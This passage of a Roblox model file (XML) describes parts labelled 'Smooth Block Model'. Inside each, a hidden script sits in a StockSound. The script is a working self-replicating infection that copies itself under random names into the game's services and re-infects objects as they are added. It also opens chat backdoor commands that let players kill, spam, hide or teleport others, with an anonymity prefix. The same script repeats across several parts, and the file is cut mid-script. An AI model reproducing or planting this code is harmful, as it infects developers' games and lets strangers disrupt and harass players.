if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX853">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-158</X>
					<Y>48.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX854">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX855">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX856">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-164</X>
					<Y>48.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX857">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX858">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
